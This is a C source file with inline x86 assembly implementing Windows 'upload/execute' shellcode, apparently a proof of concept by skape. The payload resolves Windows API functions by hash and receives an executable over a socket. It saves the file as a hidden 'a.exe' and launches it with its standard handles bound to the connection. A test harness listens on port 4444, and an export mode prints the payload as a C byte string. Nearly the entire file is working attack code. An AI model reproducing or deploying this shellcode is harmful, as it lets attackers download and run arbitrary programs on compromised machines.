/*
 * Generic upload/execute shellcode
 *
 * This expects the file descriptor to read from in esi.
 *
 * Haven't optimized this at all, just a proof of concept
 *
 * skape
 * mmiller@hick.org
 */
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma warning(disable: 4068)

#define EMIT_4_LITTLE_ENDIAN(a,b,c,d)   __asm _emit a __asm _emit b __asm _emit c __asm _emit d

void __declspec(naked) upexec_begin()
{
	__asm
	{
		/*
		 * esi = fd
		 */
		upexec:
			jmp startup_bnc                           // Jump to the startup bounce point

#include "generic.c"
	
		startup_bnc:
			jmp startup                               // Jump to the actual startup
 
		resolve_symbols_for_dll:
			lodsd                                     // Load the current dword from esi into eax
			push eax                                  // Push the hash as the second argument to find_function
			push edx                                  // Push the base address of the current dll being loaded from
			call find_function                        // Call find_function
			mov  [edi], eax                           // Store the return address in the current output buffer pointer
			add  esp, 0x08                            // Restore eight bytes to the stack.
			add  edi, 0x04                            // Add 4 bytes to the output buffer to move to the next slot
			cmp  esi, ecx                             // Have we reached the end?
			jne  resolve_symbols_for_dll              // If not, continue loading
		resolve_symbols_for_dll_finished:
			ret                                       // Return to the caller

		kernel32_symbol_hashes:
			EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA    0x04
			EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x00,0x7c) // CreateFile      0x08  (warning: has null byte)
			EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8) // WriteFile       0x0c
			EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f) // CloseHandle     0x10
			EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) // CreateProcessA  0x14
			EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess     0x18

		ws2_32_symbol_hashes:
			EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad) // WSASocketA      0x1c
			EMIT_4_LITTLE_ENDIAN(0xb6,0x19,0x18,0xe7) // recv            0x20

		startup:
			sub  esp, 0x60                            // Allocate 0x60 bytes of stack space
			mov  ebp, esp                             // Use ebp as the frame pointer
			mov  [ebp], esi                           // Save fd

			jmp  get_absolute_address_forward         // Jump forward past the middle
		get_absolute_address_middle:
			jmp  get_absolute_address_end             // Jump to the end now that we have our VMA on the stack
		get_absolute_address_forward:
			call get_absolute_address_middle          // Call to the middle to push the VMA of 'pop esi' onto the stack
		get_absolute_address_end:
			pop  esi                                  // Pop the return address from the stack into esi

			call find_kernel32                        // Find the kernel32.dll base address through whatever means
			mov  edx, eax                             // Save the kernel32.dll base address in edx

		resolve_kernel32_symbols:
			sub  esi, 0x31                            // Offset esi 0x2e bytes back from 'pop esi'
			lea  edi, [ebp + 0x04]                    // Set edi to the start of our output buffer
			mov  ecx, esi                             // Set ecx to the address of the first hash
			add  ecx, 0x18                            // Set the stop point to the first hash address + 0x18
			call resolve_symbols_for_dll              // Resolve all the kernel32.dll symbols

		resolve_winsock_symbols:
			add  ecx, 0x08                            // Set the stop point to the first hash of ws2_32 + 0x08
			xor  eax, eax                             // Zero eax
			mov  ax, 0x3233                           // Set the low order bytes of eax to '32'
			push eax                                  // Push '32\0\0'
			push 0x5f327377                           // Push 'ws2_'
			mov  ebx, esp                             // Save the pointer to the 'ws2_32' string in ebx
			push ecx                                  // Save ecx so that it does not get clobbered
			push edx                                  // Save edx so that it does not get clobbered
			push ebx                                  // Push the 'ws2_32' string pointer onto the stack
			call [ebp + 0x04]                         // Call LoadLibraryA
			pop  edx                                  // Restore edx
			pop  ecx                                  // Restore ecx
			mov  edx, eax                             // Set edx to the base address of ws2_32.dll
			call resolve_symbols_for_dll              // Resolve all the ws2_32.dll symbols

		open_file:
			xor  eax, eax                             // Zero eax
			mov  al, 0x65                             // Set the low order byte of eax to 'e'
			push eax                                  // Push 'e'
			push 0x78652e61                           // Push 'a.ex'
			mov  [ebp + 0x30], esp                    // Save the address of 'a.exe'

			xor  eax, eax                             // Zero eax
			push eax                                  // Template
			mov  al, 0x82                             // Set the flags to (FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN)
			push eax                                  // Flags
			mov  al, 0x02                 	         // Set the disposition to CREATE_ALWAYS
			push eax                                  // Disposition
			xor  al, al                               // Zero al
			push eax                                  // Security attributes
			push eax                                  // Share mode
			mov  al, 0x40                             // Set al to 0x40
			sal  eax, 0x18                            // Shift to the left 18 bits 
			push eax                                  // Desired access (GENERIC_WRITE)
			push [ebp + 0x30]                         // File name
			call [ebp + 0x08]                         // Call CreateFileA
			mov  [ebp + 0x3c], eax                    // Save the file handle

		get_file_length:
			xor  eax, eax                             // Zero eax
			lea  edi, [ebp + 0x40]                    // Load the address that will contain the length in edi
			add  eax, 0x04                            // Add four to hold the number of bytes left to read
			mov  [ebp + 0x44], eax                    // Set the number of bytes left to 4
		get_file_length_loop:
			xor  eax, eax
			push eax                                  // No flags
			push [ebp + 0x44]                         // Bytes to read
			push edi                                  // Buffer to read into
			push [ebp]                                // File descriptor
			call [ebp + 0x20]                         // Call recv
			sub  [ebp + 0x44], eax                    // warning: does not account for -1 (bad)
			add  edi, eax                             // Increment the offset into edi
			mov  eax, [ebp + 0x44]                    // Set eax to the number of bytes left
			test eax, eax                             // Check to see if it's zero...
			jnz  get_file_length_loop                 // Not zero, go again.
			mov  edi, [edi - 0x04]                    // Set edi to the number of bytes in the file

		download_begin:
			xor  eax, eax                             // Zero eax
			mov  ax, 0x010c                           // Set eax to 268
			sub  esp, eax                             // Allocate 268 bytes of stackspace
			mov  esi, esp                             // We'll use esi to track this frame
		download_loop:
			lea  ebx, [esi + 0x04]                    // Load the address of our spot to holde bytes read into eax
			xor  eax, eax                             // Zero flags
			push eax                                  // No flags
			mov  ax, 0x0104                           // Set eax to 260
			cmp  eax, edi                             // Check to see if 260 is > the number of bytes left in the file
			jle  download_loop_cont                   // Skip over
			mov  eax, edi                             // Set eax to the actual number of bytes left
		download_loop_cont:
			push eax                                  // We desire to read 260 bytes
			lea  eax, [esi + 0x08]                    // Load the address of our buffer to hold data in
			push eax                                  // Buffer
			push [ebp]                                // File descriptor
			call [ebp + 0x20]                         // Call recv
			sub  edi, eax                             // Subtract the number of bytes left
		download_write_file:
			mov  ebx, eax                             // Save the number of bytes read
			xor  eax, eax                             // Zero eax
			push eax                                  // Overlapped
			lea  eax, [esi + 0x04]                    // Load the address of our bytes written pointer
			push eax                                  // Bytes written pointer
			push ebx                                  // Bytes to write
			lea  eax, [esi + 0x08]                    // Load the address of the buffer we just read data into
			push eax                                  // Buffer
			push [ebp + 0x3c]                         // File handle
			call [ebp + 0x0c]                         // Call WriteFile
			test edi, edi                             // Have we read everything?
			jnz  download_loop
		download_finished:
			push [ebp + 0x3c]                         // File handle
			call [ebp + 0x10]                         // Call CloseHandle
			xor  eax, eax                             // Zero eax
			mov  ax, 0x010c                           // Set eax to 268
			add  esp, eax                             // Restore the stack		

		initialize_process:
			xor  ecx, ecx                             // Zero ecx
			mov  cl, 0x54                             // Set ecx to 0x54
			sub  esp, ecx                             // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x10)
			mov  edi, esp                             // Preserve in edi
			push edi                                  // Save edi
		zero_structs:
			xor  eax, eax	                           // We want to store 0
			rep  stosb                                // Repeat storing zero until ecx is 0
			pop  edi                                  // Restore edi
		initialize_structs:
			mov  byte ptr [edi], 0x44                 // Set the 'cb' attribute of the STARTUPINFO buffer to 0x44
			inc  byte ptr [edi + 0x2d]                // Set the STARTF_USESTDHANDLES flag
			push edi                                  // Save edi
			mov  eax, [ebp]                           // Set eax to the file descriptor
			lea  edi, [edi + 0x38]                    // Load the effective address of hStdInput
			stosd                                     // Set hStdInput to the file descriptor
			stosd                                     // Set hStdOutput to the file descriptor
			stosd                                     // Set hStdError to the file descriptor
			pop  edi                                  // Restore edi

		execute_process:			
			xor  eax, eax                             // Zero eax
			lea  esi, [edi + 0x44]                    // Load the address of our PROCESS_INFORMATION starting point
			push esi                                  // PROCESS_INFORMATION
			push edi                                  // STARTUPINFO
			push eax                                  // Startup Directory
			push eax                                  // Environment
			push eax                                  // Creation flags
			inc  eax                                  // We want inherit handles to be true
			push eax                                  // Inherit handles 
			dec  eax                                  // Back to zero
			push eax                                  // Thread attributes
			push eax                                  // Process attributes
			push [ebp + 0x30]                         // Command line
			push eax                                  // Module name
			call [ebp + 0x14]                         // Call CreateProcess

		exit_process:
			call [ebp + 0x18]                         // Call ExitProcess
	}

}

void __declspec(naked) upexec_end()
{
	exit(1);
}

int main(int argc, char **argv)
{
	WSADATA data;

	memset(&data, 0, sizeof(data));

	WSAStartup(0x0202, &data);

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
	{
		SOCKET sfd = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0), cfd;
		struct sockaddr_in b;

		b.sin_addr.s_addr = INADDR_ANY;
		b.sin_family      = AF_INET;
		b.sin_port        = htons(4444);

		if (bind(sfd, (struct sockaddr *)&b, sizeof(b)) < 0)
		{
			fprintf(stdout, "bind failed.\n");
			return 0;
		}

		if (listen(sfd, 32) < 0)
		{
			fprintf(stdout, "listen failed\n");
			return 0;
		}

		cfd = accept(sfd, NULL, NULL);

		__asm
		{
			mov esi, [cfd]
		}

		upexec_begin();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *start = (unsigned char *)((unsigned char *)upexec_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)upexec_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)upexec_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)upexec_end + 1) + 5;
		length  = stop - start;

		fprintf(stdout, "// %lu byte upexec shellcode\n\n", length);
		fprintf(stdout, "unsigned char upexec[] = \"");

		for (c = start, x = 0;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", c[x]);

		fprintf(stdout, "\";\n\n");
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
